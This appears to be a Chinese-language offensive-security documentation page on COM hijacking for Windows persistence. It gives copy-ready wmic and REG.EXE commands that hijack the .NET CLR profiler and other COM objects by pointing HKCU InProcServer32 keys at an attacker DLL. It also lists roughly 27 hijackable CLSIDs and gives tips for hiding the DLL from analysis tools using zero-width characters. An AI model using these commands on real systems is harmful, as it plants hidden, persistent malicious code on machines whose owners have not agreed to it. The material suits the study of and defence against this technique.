> For the complete documentation index, see [llms.txt](https://docs.qwqdanchun.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.qwqdanchun.com/main/persistence/com-hijack/com-hijack.md).

# COM劫持

## COM组件 <a href="#h1-com" id="h1-com"></a>

COM是Windows中的一个系统，用于在操作系统和软件组件之间进行交互，对各种COM对象的引用存储在注册表中。劫持COM对象需要在注册表中进行更改，以替换对合法系统组件的引用，这可能导致该组件在执行时不起作用。

## 劫持CLR <a href="#h1--clr" id="h1--clr"></a>

CLR全称Common Language Runtime，中文名称为公共语言运行时。

CLR是.NET Framework的主要执行引擎，作用之一是监视程序的运行。

在CLR之下运行的程序属于managed，不在CLR之下直接运行的程序属于native。

此处主要以CLR的劫持作为实例，因为其本质也是COM劫持，但因为本身的特殊性经常被单独拿来说。

```
#32bit
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
#64bit
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
```

参考文章：

{% embed url="<https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html>" %}

## 劫持其他COM组件 <a href="#h1-com" id="h1-com"></a>

操作的话，与CLR劫持相同，但是不再需要更改环境变量，少了一步敏感操作，具体使用自行取舍。

示例命令行：

```
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32
REG.EXE ADD %KEY% /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
```

原理类似，故只列出常用的几个CLSID。

| CLSID                                  |
| -------------------------------------- |
| {42aedc87-2188-41fd-b9a3-0c966feabec1} |
| {fbeb8a05-beee-4442-804e-409d6c4515e9} |
| {b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} |
| {BCDE0395-E52F-467C-8E3D-C4579291692E} |
| {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} |
| {3543619C-D563-43f7-95EA-4DA7E1CC396A} |
| {B056521A-9B10-425E-B616-1FCD828DB3B1} |
| {EFEF7FDB-0CED-4FB6-B3BB-3C50D39F4120} |
| {93E5752E-B889-47C5-8545-654EE2533C64} |
| {56FDF344-FD6D-11D0-958A-006097C9A090} |
| {2163EB1F-3FD9-4212-A41F-81D1F933597F} |
| {A6A2383F-AD50-4D52-8110-3508275E77F7} |
| {F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3} |
| {88D96A05-F192-11D4-A65F-0040963251E5} |
| {807583E5-5146-11D5-A672-00B0D022E945} |
| {529A9E6B-6587-4F23-AB9E-9C7D683E3C50} |
| {3CE74DE4-53D3-4D74-8B83-431B3828BA53} |
| {A4B544A1-438D-4B41-9325-869523E2D6C7} |
| {33C53A50-F456-4884-B049-85FD643ECFED} |
| {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} |
| {275C23E2-3747-11D0-9FEA-00AA003F8646} |
| {C15BB852-6F97-11D3-A990-00104B2A619F} |
| {ED475410-B0D6-11D2-8C3B-00104B2A6676} |
| {1299CF18-C4F5-4B6A-BB0F-2299F0398E27} |
| {DCB00C01-570F-4A9B-8D69-199FDBA5723B} |
| {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} |
| {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} |

自行寻找的话只需要去看下面两个注册表位置即可

```
HKCU\Software\Classes\CLSID\HKCU\Software\Classes\Wow6432Node\CLSID\
```

## 一些特殊技巧 <a href="#h1-u4e00u4e9bu7279u6b8au6280u5de7" id="h1-u4e00u4e9bu7279u6b8au6280u5de7"></a>

TreatAs（可以模拟其他类的CLSID。）

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/com/treatas>" %}

利用零宽字节特性，在Process Explorer等分析软件中隐藏劫持dll

{% embed url="<https://en.wikipedia.org/wiki/Zero-width_space>" %}

{% embed url="<https://fatrodzianko.com/2020/03/08/dll-side-loading-and-zero-width-spaces/>" %}
